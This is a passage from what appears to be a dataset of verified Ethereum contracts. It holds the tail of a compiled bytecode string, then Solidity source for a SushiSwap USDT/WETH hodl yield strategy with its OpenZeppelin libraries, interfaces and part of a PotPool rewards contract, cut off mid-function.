b600080600080600060a0868803121561153c57600080fd5b611545866111e8565b9450611553602087016111e8565b9350604086013567ffffffffffffffff8082111561157057600080fd5b61157c89838a016113fa565b9450606088013591508082111561159257600080fd5b61159e89838a016113fa565b935060808801359150808211156115b457600080fd5b506115c18882890161146b565b9150509295509295909350565b600080604083850312156115e157600080fd5b823567ffffffffffffffff808211156115f957600080fd5b818501915085601f83011261160d57600080fd5b8135602061161a826113d6565b604051611627828261127e565b83815260059390931b850182019282810191508984111561164757600080fd5b948201945b8386101561166c5761165d866111e8565b8252948201949082019061164c565b9650508601359250508082111561168257600080fd5b5061168f858286016113fa565b9150509250929050565b600081518084526020808501945080840160005b838110156116c9578151875295820195908201906001016116ad565b509495945050505050565b6020815260006112616020830184611699565b600080600080608085870312156116fd57600080fd5b611706856111e8565b93506020850135925060408501359150606085013567ffffffffffffffff81111561173057600080fd5b6115188782880161146b565b6000806040838503121561174f57600080fd5b611758836111e8565b91506020830135801515811461176d57600080fd5b809150509250929050565b6000806040838503121561178b57600080fd5b611794836111e8565b91506117a2602084016111e8565b90509250929050565b600080600080600060a086880312156117c357600080fd5b6117cc866111e8565b94506117da602087016111e8565b93506040860135925060608601359150608086013567ffffffffffffffff81111561180457600080fd5b6115c18882890161146b565b60006020828403121561182257600080fd5b611261826111e8565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b6000835161187281846020880161136b565b83519083019061188681836020880161136b565b64173539b7b760d91b9101908152600501949350505050565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b60006000198214156118df576118df6118b5565b5060010190565b600181811c908216806118fa57607f821691505b6020821081141561191b57634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601260045260246000fd5b60008261194657611946611921565b500490565b60008282101561195d5761195d6118b5565b500390565b60008261197157611971611921565b500690565b60008219821115611989576119896118b5565b500190565b60208082526021908201527f455243313135353a206d696e7420746f20746865207a65726f206164647265736040820152607360f81b606082015260800190565b60208082526028908201527f455243313135353a2069647320616e6420616d6f756e7473206c656e677468206040820152670dad2e6dac2e8c6d60c31b606082015260800190565b604081526000611a2a6040830185611699565b8281036020840152611a3c8185611699565b95945050505050565b60208082526025908201527f455243313135353a207472616e7366657220746f20746865207a65726f206164604082015264647265737360d81b606082015260800190565b6020808252602a908201527f455243313135353a20696e73756666696369656e742062616c616e636520666f60408201526939103a3930b739b332b960b11b606082015260800190565b6001600160a01b0386811682528516602082015260a060408201819052600090611b0090830186611699565b8281036060840152611b128186611699565b90508281036080840152611b268185611397565b98975050505050505050565b600060208284031215611b4457600080fd5b81516112618161122e565b600060033d1115611b685760046000803e5060005160e01c5b90565b600060443d1015611b795790565b6040516003193d81016004833e81513d67ffffffffffffffff8160248401118184111715611ba957505050505090565b8285019150815181811115611bc15750505050505090565b843d8701016020828501011115611bdb5750505050505090565b611bea6020828601018761127e565b509095945050505050565b60208082526028908201527f455243313135353a204552433131353552656365697665722072656a656374656040820152676420746f6b656e7360c01b606082015260800190565b6001600160a01b03868116825285166020820152604081018490526060810183905260a060808201819052600090611c7790830184611397565b97965050505050505056fea2646970667358221220150478483ec43dc8a7d380c54ccc3381c55cabe35d45dff6d1c6dc97a8c5b7fc64736f6c634300080c0033
[ 5, 12 ]
0xF324712cF0bf58E99c7D3e70C62f090de1a39491
pragma solidity 0.5.16; import "../../base/sushi-base/MasterChefHodlStrategy.sol"; contract SushiHodlStrategyMainnet_USDT_WETH is MasterChefHodlStrategy { address public usdt_weth_unused; // just a differentiator for the bytecode constructor() public {} function initializeStrategy( address _storage, address _vault ) public initializer { address underlying = address(0x06da0fd433C1A5d7a4faa01111c044910A184553); address sushi = address(0x6B3595068778DD592e39A122f4f5a5cF09C90fE2); MasterChefHodlStrategy.initializeMasterChefHodlStrategy( _storage, underlying, _vault, address(0xc2EdaD668740f1aA35E4D8f227fB8E17dcA888Cd), // master chef contract sushi, 0, // Pool id address(0x274AA8B58E8C57C4e347C8768ed853Eb6D375b48), // Sushi hodlVault fsushi address(0x0000000000000000000000000000000000000000) // manually set it later ); } } pragma solidity 0.5.16; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "../interface/uniswap/IUniswapV2Router02.sol"; import "../interface/IStrategy.sol"; import "../interface/IVault.sol"; import "../upgradability/BaseUpgradeableStrategy.sol"; import "./interfaces/IMasterChef.sol"; import "../interface/uniswap/IUniswapV2Pair.sol"; import "../PotPool.sol"; contract MasterChefHodlStrategy is IStrategy, BaseUpgradeableStrategy { using SafeMath for uint256; using SafeERC20 for IERC20; address public constant uniswapRouterV2 = address(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); address public constant sushiswapRouterV2 = address(0xd9e1cE17f2641f24aE83637ab66a2cca9C378B9F); // additional storage slots (on top of BaseUpgradeableStrategy ones) are defined here bytes32 internal constant _POOLID_SLOT = 0x3fd729bfa2e28b7806b03a6e014729f59477b530f995be4d51defc9dad94810b; bytes32 internal constant _HODLVAULT_SLOT = 0xc26d330f887c749cb38ae7c37873ff08ac4bba7aec9113c82d48a0cf6cc145f2; bytes32 internal constant _POTPOOL_SLOT = 0x7f4b50847e7d7a4da6a6ea36bfb188c77e9f093697337eb9a876744f926dd014; constructor() public BaseUpgradeableStrategy() { assert(_POOLID_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.poolId")) - 1)); assert(_HODLVAULT_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.hodlVault")) - 1)); assert(_POTPOOL_SLOT == bytes32(uint256(keccak256("eip1967.strategyStorage.potPool")) - 1)); } function initializeMasterChefHodlStrategy( address _storage, address _underlying, address _vault, address _rewardPool, address _rewardToken, uint256 _poolId, address _hodlVault, address _potPool ) public initializer { require(_rewardPool != address(0), "reward pool is empty"); BaseUpgradeableStrategy.initialize( _storage, _underlying, _vault, _rewardPool, _rewardToken, 300, // profit sharing numerator 1000, // profit sharing denominator true, // sell 1e18, // sell floor 12 hours // implementation change delay ); address _lpt; (_lpt,,,) = IMasterChef(rewardPool()).poolInfo(_poolId); require(_lpt == underlying(), "Pool Info does not match underlying"); _setPoolId(_poolId); setAddress(_HODLVAULT_SLOT, _hodlVault); setAddress(_POTPOOL_SLOT, _potPool); } function depositArbCheck() public view returns(bool) { return true; } function rewardPoolBalance() internal view returns (uint256 bal) { (bal,) = IMasterChef(rewardPool()).userInfo(poolId(), address(this)); } function exitRewardPool() internal { uint256 bal = rewardPoolBalance(); if (bal != 0) { IMasterChef(rewardPool()).withdraw(poolId(), bal); } } function emergencyExitRewardPool() internal { uint256 bal = rewardPoolBalance(); if (bal != 0) { IMasterChef(rewardPool()).emergencyWithdraw(poolId()); } } function unsalvagableTokens(address token) public view returns (bool) { return (token == rewardToken() || token == underlying()); } function enterRewardPool() internal { uint256 entireBalance = IERC20(underlying()).balanceOf(address(this)); IERC20(underlying()).safeApprove(rewardPool(), 0); IERC20(underlying()).safeApprove(rewardPool(), entireBalance); IMasterChef(rewardPool()).deposit(poolId(), entireBalance); } /* * In case there are some issues discovered about the pool or underlying asset * Governance can exit the pool properly * The function is only used for emergency to exit the pool */ function emergencyExit() public onlyGovernance { emergencyExitRewardPool(); _setPausedInvesting(true); } /* * Resumes the ability to invest into the underlying reward pools */ function continueInvesting() public onlyGovernance { _setPausedInvesting(false); } // We Hodl all the rewards function _hodlAndNotify() internal { uint256 rewardBalance = IERC20(rewardToken()).balanceOf(address(this)); if(rewardBalance > 0) { IERC20(rewardToken()).safeApprove(hodlVault(), 0); IERC20(rewardToken()).safeApprove(hodlVault(), rewardBalance); IVault(hodlVault()).deposit(rewardBalance); uint256 fRewardBalance = IERC20(hodlVault()).balanceOf(address(this)); IERC20(hodlVault()).safeTransfer(potPool(), fRewardBalance); PotPool(potPool()).notifyTargetRewardAmount(hodlVault(), fRewardBalance); } } /* * Stakes everything the strategy holds into the reward pool */ function investAllUnderlying() internal onlyNotPausedInvesting { // this check is needed, because most of the SNX reward pools will revert if // you try to stake(0). if(IERC20(underlying()).balanceOf(address(this)) > 0) { enterRewardPool(); } } /* * Withdraws all the asset to the vault */ function withdrawAllToVault() public restricted { exitRewardPool(); _hodlAndNotify(); IERC20(underlying()).safeTransfer(vault(), IERC20(underlying()).balanceOf(address(this))); } /* * Withdraws all the asset to the vault */ function withdrawToVault(uint256 amount) public restricted { // Typically there wouldn't be any amount here // however, it is possible because of the emergencyExit uint256 entireBalance = IERC20(underlying()).balanceOf(address(this)); if(amount > entireBalance){ // While we have the check above, we still using SafeMath below // for the peace of mind (in case something gets changed in between) uint256 needToWithdraw = amount.sub(entireBalance); uint256 toWithdraw = Math.min(rewardPoolBalance(), needToWithdraw); IMasterChef(rewardPool()).withdraw(poolId(), toWithdraw); } IERC20(underlying()).safeTransfer(vault(), amount); } /* * Note that we currently do not have a mechanism here to include the * amount of reward that is accrued. */ function investedUnderlyingBalance() external view returns (uint256) { if (rewardPool() == address(0)) { return IERC20(underlying()).balanceOf(address(this)); } // Adding the amount locked in the reward pool and the amount that is somehow in this contract // both are in the units of "underlying" // The second part is needed because there is the emergency exit mechanism // which would break the assumption that all the funds are always inside of the reward pool return rewardPoolBalance().add(IERC20(underlying()).balanceOf(address(this))); } /* * Governance or Controller can claim coins that are somehow transferred into the contract * Note that they cannot come in take away coins that are used and defined in the strategy itself */ function salvage(address recipient, address token, uint256 amount) external onlyControllerOrGovernance { // To make sure that governance cannot come in and take away the coins require(!unsalvagableTokens(token), "token is defined as not salvagable"); IERC20(token).safeTransfer(recipient, amount); } /* * Get the reward, sell it in exchange for underlying, invest what you got. * It's not much, but it's honest work. * * Note that although `onlyNotPausedInvesting` is not added here, * calling `investAllUnderlying()` affectively blocks the usage of `doHardWork` * when the investing is being paused by governance. */ function doHardWork() external onlyNotPausedInvesting restricted { exitRewardPool(); _hodlAndNotify(); investAllUnderlying(); } function setHodlVault(address _value) public onlyGovernance { require(hodlVault() == address(0), "Hodl vault already set"); setAddress(_HODLVAULT_SLOT, _value); } function hodlVault() public view returns (address) { return getAddress(_HODLVAULT_SLOT); } function setPotPool(address _value) public onlyGovernance { require(potPool() == address(0), "PotPool already set"); setAddress(_POTPOOL_SLOT, _value); } function potPool() public view returns (address) { return getAddress(_POTPOOL_SLOT); } function finalizeUpgrade() external onlyGovernance { _finalizeUpgrade(); } // masterchef rewards pool ID function _setPoolId(uint256 _value) internal { setUint256(_POOLID_SLOT, _value); } function poolId() public view returns (uint256) { return getUint256(_POOLID_SLOT); } } pragma solidity ^0.5.0; /** * @dev Standard math utilities missing in the Solidity language. */ library Math { /** * @dev Returns the largest of two numbers. */ function max(uint256 a, uint256 b) internal pure returns (uint256) { return a >= b ? a : b; } /** * @dev Returns the smallest of two numbers. */ function min(uint256 a, uint256 b) internal pure returns (uint256) { return a < b ? a : b; } /** * @dev Returns the average of two numbers. The result is rounded towards * zero. */ function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } } pragma solidity ^0.5.0; /** * @dev Wrappers over Solidity's arithmetic operations with added overflow * checks. * * Arithmetic operations in Solidity wrap on overflow. This can easily result * in bugs, because programmers usually assume that an overflow raises an * error, which is the standard behavior in high level programming languages. * `SafeMath` restores this intuition by reverting the transaction when an * operation overflows. * * Using this library instead of the unchecked operations eliminates an entire * class of bugs, so it's recommended to use it always. */ library SafeMath { /** * @dev Returns the addition of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `+` operator. * * Requirements: * - Addition cannot overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } /** * @dev Returns the subtraction of two unsigned integers, reverting on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } /** * @dev Returns the subtraction of two unsigned integers, reverting with custom message on * overflow (when the result is negative). * * Counterpart to Solidity's `-` operator. * * Requirements: * - Subtraction cannot overflow. * * _Available since v2.4.0._ */ function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } /** * @dev Returns the multiplication of two unsigned integers, reverting on * overflow. * * Counterpart to Solidity's `*` operator. * * Requirements: * - Multiplication cannot overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } /** * @dev Returns the integer division of two unsigned integers. Reverts on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } /** * @dev Returns the integer division of two unsigned integers. Reverts with custom message on * division by zero. The result is rounded towards zero. * * Counterpart to Solidity's `/` operator. Note: this function uses a * `revert` opcode (which leaves remaining gas untouched) while Solidity * uses an invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { // Solidity only automatically asserts when dividing by 0 require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. */ function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } /** * @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo), * Reverts with custom message when dividing by zero. * * Counterpart to Solidity's `%` operator. This function uses a `revert` * opcode (which leaves remaining gas untouched) while Solidity uses an * invalid opcode to revert (consuming all remaining gas). * * Requirements: * - The divisor cannot be zero. * * _Available since v2.4.0._ */ function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } pragma solidity ^0.5.0; import "./IERC20.sol"; /** * @dev Optional functions from the ERC20 standard. */ contract ERC20Detailed is IERC20 { string private _name; string private _symbol; uint8 private _decimals; /** * @dev Sets the values for `name`, `symbol`, and `decimals`. All three of * these values are immutable: they can only be set once during * construction. */ constructor (string memory name, string memory symbol, uint8 decimals) public { _name = name; _symbol = symbol; _decimals = decimals; } /** * @dev Returns the name of the token. */ function name() public view returns (string memory) { return _name; } /** * @dev Returns the symbol of the token, usually a shorter version of the * name. */ function symbol() public view returns (string memory) { return _symbol; } /** * @dev Returns the number of decimals used to get its user representation. * For example, if `decimals` equals `2`, a balance of `505` tokens should * be displayed to a user as `5,05` (`505 / 10 ** 2`). * * Tokens usually opt for a value of 18, imitating the relationship between * Ether and Wei. * * NOTE: This information is only used for _display_ purposes: it in * no way affects any of the arithmetic of the contract, including * {IERC20-balanceOf} and {IERC20-transfer}. */ function decimals() public view returns (uint8) { return _decimals; } } pragma solidity ^0.5.0; import "./IERC20.sol"; import "../../math/SafeMath.sol"; import "../../utils/Address.sol"; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. // A Solidity high level call has three parts: // 1. The target address is checked to verify it contains contract code // 2. The call itself is made, and success asserted // 3. The return value is decoded, which in turn checks the size of the returned data. // solhint-disable-next-line max-line-length require(address(token).isContract(), "SafeERC20: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = address(token).call(data); require(success, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // SPDX-License-Identifier: MIT pragma solidity >=0.5.0; import './IUniswapV2Router01.sol'; interface IUniswapV2Router02 { function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidity( address tokenA, address tokenB, uint amountADesired, uint amountBDesired, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB, uint liquidity); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); function removeLiquidity( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline ) external returns (uint amountA, uint amountB); function removeLiquidityETH( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountToken, uint amountETH); function removeLiquidityWithPermit( address tokenA, address tokenB, uint liquidity, uint amountAMin, uint amountBMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountA, uint amountB); function removeLiquidityETHWithPermit( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountToken, uint amountETH); function swapExactTokensForTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapTokensForExactTokens( uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline ) external returns (uint[] memory amounts); function swapExactETHForTokens(uint amountOutMin, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function swapTokensForExactETH(uint amountOut, uint amountInMax, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapExactTokensForETH(uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline) external returns (uint[] memory amounts); function swapETHForExactTokens(uint amountOut, address[] calldata path, address to, uint deadline) external payable returns (uint[] memory amounts); function quote(uint amountA, uint reserveA, uint reserveB) external pure returns (uint amountB); function getAmountOut(uint amountIn, uint reserveIn, uint reserveOut) external pure returns (uint amountOut); function getAmountIn(uint amountOut, uint reserveIn, uint reserveOut) external pure returns (uint amountIn); function getAmountsOut(uint amountIn, address[] calldata path) external view returns (uint[] memory amounts); function getAmountsIn(uint amountOut, address[] calldata path) external view returns (uint[] memory amounts); function removeLiquidityETHSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external returns (uint amountETH); function removeLiquidityETHWithPermitSupportingFeeOnTransferTokens( address token, uint liquidity, uint amountTokenMin, uint amountETHMin, address to, uint deadline, bool approveMax, uint8 v, bytes32 r, bytes32 s ) external returns (uint amountETH); function swapExactTokensForTokensSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function swapExactETHForTokensSupportingFeeOnTransferTokens( uint amountOutMin, address[] calldata path, address to, uint deadline ) external payable; function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; } pragma solidity 0.5.16; interface IStrategy { function unsalvagableTokens(address tokens) external view returns (bool); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function vault() external view returns (address); function withdrawAllToVault() external; function withdrawToVault(uint256 amount) external; function investedUnderlyingBalance() external view returns (uint256); // itsNotMuch() // should only be called by controller function salvage(address recipient, address token, uint256 amount) external; function doHardWork() external; function depositArbCheck() external view returns(bool); } pragma solidity 0.5.16; interface IVault { function initializeVault( address _storage, address _underlying, uint256 _toInvestNumerator, uint256 _toInvestDenominator ) external ; function balanceOf(address) external view returns (uint256); function underlyingBalanceInVault() external view returns (uint256); function underlyingBalanceWithInvestment() external view returns (uint256); // function store() external view returns (address); function governance() external view returns (address); function controller() external view returns (address); function underlying() external view returns (address); function strategy() external view returns (address); function setStrategy(address _strategy) external; function announceStrategyUpdate(address _strategy) external; function setVaultFractionToInvest(uint256 numerator, uint256 denominator) external; function deposit(uint256 amountWei) external; function depositFor(uint256 amountWei, address holder) external; function withdrawAll() external; function withdraw(uint256 numberOfShares) external; function getPricePerFullShare() external view returns (uint256); function underlyingBalanceWithInvestmentForHolder(address holder) view external returns (uint256); // hard work should be callable only by the controller (by the hard worker) or by governance function doHardWork() external; } pragma solidity 0.5.16; import "@openzeppelin/upgrades/contracts/Initializable.sol"; import "./BaseUpgradeableStrategyStorage.sol"; import "../inheritance/ControllableInit.sol"; import "../interface/IController.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; contract BaseUpgradeableStrategy is Initializable, ControllableInit, BaseUpgradeableStrategyStorage { using SafeMath for uint256; using SafeERC20 for IERC20; event ProfitsNotCollected(bool sell, bool floor); event ProfitLogInReward(uint256 profitAmount, uint256 feeAmount, uint256 timestamp); modifier restricted() { require(msg.sender == vault() || msg.sender == controller() || msg.sender == governance(), "The sender has to be the controller, governance, or vault"); _; } // This is only used in `investAllUnderlying()` // The user can still freely withdraw from the strategy modifier onlyNotPausedInvesting() { require(!pausedInvesting(), "Action blocked as the strategy is in emergency state"); _; } constructor() public BaseUpgradeableStrategyStorage() { } function initialize( address _storage, address _underlying, address _vault, address _rewardPool, address _rewardToken, uint256 _profitSharingNumerator, uint256 _profitSharingDenominator, bool _sell, uint256 _sellFloor, uint256 _implementationChangeDelay ) public initializer { ControllableInit.initialize( _storage ); _setUnderlying(_underlying); _setVault(_vault); _setRewardPool(_rewardPool); _setRewardToken(_rewardToken); _setProfitSharingNumerator(_profitSharingNumerator); _setProfitSharingDenominator(_profitSharingDenominator); _setSell(_sell); _setSellFloor(_sellFloor); _setNextImplementationDelay(_implementationChangeDelay); _setPausedInvesting(false); } /** * Schedules an upgrade for this vault's proxy. */ function scheduleUpgrade(address impl) public onlyGovernance { _setNextImplementation(impl); _setNextImplementationTimestamp(block.timestamp.add(nextImplementationDelay())); } function _finalizeUpgrade() internal { _setNextImplementation(address(0)); _setNextImplementationTimestamp(0); } function shouldUpgrade() external view returns (bool, address) { return ( nextImplementationTimestamp() != 0 && block.timestamp > nextImplementationTimestamp() && nextImplementation() != address(0), nextImplementation() ); } // reward notification function notifyProfitInRewardToken(uint256 _rewardBalance) internal { if( _rewardBalance > 0 ){ uint256 feeAmount = _rewardBalance.mul(profitSharingNumerator()).div(profitSharingDenominator()); emit ProfitLogInReward(_rewardBalance, feeAmount, block.timestamp); IERC20(rewardToken()).safeApprove(controller(), 0); IERC20(rewardToken()).safeApprove(controller(), feeAmount); IController(controller()).notifyFee( rewardToken(), feeAmount ); } else { emit ProfitLogInReward(0, 0, block.timestamp); } } } pragma solidity 0.5.16; interface IMasterChef { function deposit(uint256 _pid, uint256 _amount) external; function withdraw(uint256 _pid, uint256 _amount) external; function emergencyWithdraw(uint256 _pid) external; function userInfo(uint256 _pid, address _user) external view returns (uint256 amount, uint256 rewardDebt); function poolInfo(uint256 _pid) external view returns (address lpToken, uint256, uint256, uint256); function massUpdatePools() external; } // SPDX-License-Identifier: MIT /** *Submitted for verification at Etherscan.io on 2020-05-05 */ // File: contracts/interfaces/IUniswapV2Pair.sol pragma solidity >=0.5.0; interface IUniswapV2Pair { event Approval(address indexed owner, address indexed spender, uint value); event Transfer(address indexed from, address indexed to, uint value); function name() external pure returns (string memory); function symbol() external pure returns (string memory); function decimals() external pure returns (uint8); function totalSupply() external view returns (uint); function balanceOf(address owner) external view returns (uint); function allowance(address owner, address spender) external view returns (uint); function approve(address spender, uint value) external returns (bool); function transfer(address to, uint value) external returns (bool); function transferFrom(address from, address to, uint value) external returns (bool); function DOMAIN_SEPARATOR() external view returns (bytes32); function PERMIT_TYPEHASH() external pure returns (bytes32); function nonces(address owner) external view returns (uint); function permit(address owner, address spender, uint value, uint deadline, uint8 v, bytes32 r, bytes32 s) external; event Mint(address indexed sender, uint amount0, uint amount1); event Burn(address indexed sender, uint amount0, uint amount1, address indexed to); event Swap( address indexed sender, uint amount0In, uint amount1In, uint amount0Out, uint amount1Out, address indexed to ); event Sync(uint112 reserve0, uint112 reserve1); function MINIMUM_LIQUIDITY() external pure returns (uint); function factory() external view returns (address); function token0() external view returns (address); function token1() external view returns (address); function getReserves() external view returns (uint112 reserve0, uint112 reserve1, uint32 blockTimestampLast); function price0CumulativeLast() external view returns (uint); function price1CumulativeLast() external view returns (uint); function kLast() external view returns (uint); function mint(address to) external returns (uint liquidity); function burn(address to) external returns (uint amount0, uint amount1); function swap(uint amount0Out, uint amount1Out, address to, bytes calldata data) external; function skim(address to) external; function sync() external; function initialize(address, address) external; } // SPDX-License-Identifier: MIT pragma solidity 0.5.16; import "./inheritance/Controllable.sol"; import "./interface/IController.sol"; import "@openzeppelin/contracts/token/ERC20/IERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20.sol"; import "@openzeppelin/contracts/token/ERC20/ERC20Detailed.sol"; import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol"; import "@openzeppelin/contracts/math/SafeMath.sol"; import "@openzeppelin/contracts/math/Math.sol"; import "@openzeppelin/contracts/utils/Address.sol"; import "@openzeppelin/contracts/GSN/Context.sol"; import "@openzeppelin/contracts/ownership/Ownable.sol"; contract IRewardDistributionRecipient is Ownable { mapping (address => bool) public rewardDistribution; constructor(address[] memory _rewardDistributions) public { // NotifyHelper rewardDistribution[0xE20c31e3d08027F5AfACe84A3A46B7b3B165053c] = true; // FeeRewardForwarderV5 rewardDistribution[0x3D135252D366111cf0621eB0e846243CBb962061] = true; for(uint256 i = 0; i < _rewardDistributions.length; i++) { rewardDistribution[_rewardDistributions[i]] = true; } } function notifyTargetRewardAmount(address rewardToken, uint256 reward) external; function notifyRewardAmount(uint256 reward) external; modifier onlyRewardDistribution() { require(rewardDistribution[_msgSender()], "Caller is not reward distribution"); _; } function setRewardDistribution(address[] calldata _newRewardDistribution, bool _flag) external onlyOwner { for(uint256 i = 0; i < _newRewardDistribution.length; i++){ rewardDistribution[_newRewardDistribution[i]] = _flag; } } } contract PotPool is IRewardDistributionRecipient, Controllable, ERC20, ERC20Detailed { using Address for address; using SafeERC20 for IERC20; using SafeMath for uint256; address public lpToken; uint256 public duration; // making it not a constant is less gas efficient, but portable mapping(address => uint256) public stakedBalanceOf; mapping (address => bool) smartContractStakers; address[] public rewardTokens; mapping(address => uint256) public periodFinishForToken; mapping(address => uint256) public rewardRateForToken; mapping(address => uint256) public lastUpdateTimeForToken; mapping(address => uint256) public rewardPerTokenStoredForToken; mapping(address => mapping(address => uint256)) public userRewardPerTokenPaidForToken; mapping(address => mapping(address => uint256)) public rewardsForToken; event RewardAdded(address rewardToken, uint256 reward); event Staked(address indexed user, uint256 amount); event Withdrawn(address indexed user, uint256 amount); event RewardPaid(address indexed user, address rewardToken, uint256 reward); event RewardDenied(address indexed user, address rewardToken, uint256 reward); event SmartContractRecorded(address indexed smartContractAddress, address indexed smartContractInitiator); modifier updateRewards(address account) { for(uint256 i = 0; i < rewardTokens.length; i++ ){ address rt = rewardTokens[i]; rewardPerTokenStoredForToken[rt] = rewardPerToken(rt); lastUpdateTimeForToken[rt] = lastTimeRewardApplicable(rt); if (account != address(0)) { rewardsForToken[rt][account] = earned(rt, account); userRewardPerTokenPaidForToken[rt][account] = rewardPerTokenStoredForToken[rt]; } } _; } modifier updateReward(address account, address rt){ rewardPerTokenStoredForToken[rt] = rewardPerToken(rt); lastUpdateTimeForToken[rt] = lastTimeRewardApplicable(rt); if (account != address(0)) { rewardsForToken[rt][account] = earned(rt, account); userRewardPerTokenPaidForToken[rt][account] = rewardPerTokenStoredForToken[rt]; } _; } /** View functions to respect old interface */ function rewardToken() public view 